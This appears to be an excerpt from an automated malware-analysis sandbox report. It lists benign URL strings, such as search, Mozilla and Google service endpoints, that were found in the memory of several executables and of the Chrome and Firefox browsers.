Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2326164117.00000000236A9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043696768.0000000005851000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043322210.000000000585A000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127544072.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127188204.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3258859649.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000024.00000002.3252437277.000023B800164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000024.00000002.3252437277.000023B800164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000024.00000002.3234827280.000002227E6C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/re)
Source: chrome.exe, 00000024.00000003.3217258247.00005330002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3217223641.00005330002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000024.00000002.3236263882.000023B800040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000002F.00000002.3672212756.00000214FE36B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA210000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3327733092.00000214ED030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUsi
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000002F.00000002.3672212756.00000214FE373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3678248900.00000214FE8B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274859243.00000214FD61E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3294641680.00000013DED04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2326164117.00000000236A9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043696768.0000000005851000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043322210.000000000585A000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127544072.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127188204.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3258859649.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2326164117.00000000236A9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043696768.0000000005851000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043322210.000000000585A000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127544072.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127188204.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3258859649.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2326164117.00000000236A9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043696768.0000000005851000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043322210.000000000585A000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127544072.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127188204.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3258859649.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000002F.00000002.3656000077.00000214FCD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsor
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Script
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.isCollectionDismissible
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moredownloads-cmd-always-use-system-default-named
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moredownloads-cmd-always-use-system-default-namedbrowser
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000002F.00000003.3274859243.00000214FD61E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/aboutConfigPipPrefs.jsonextension/pic
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
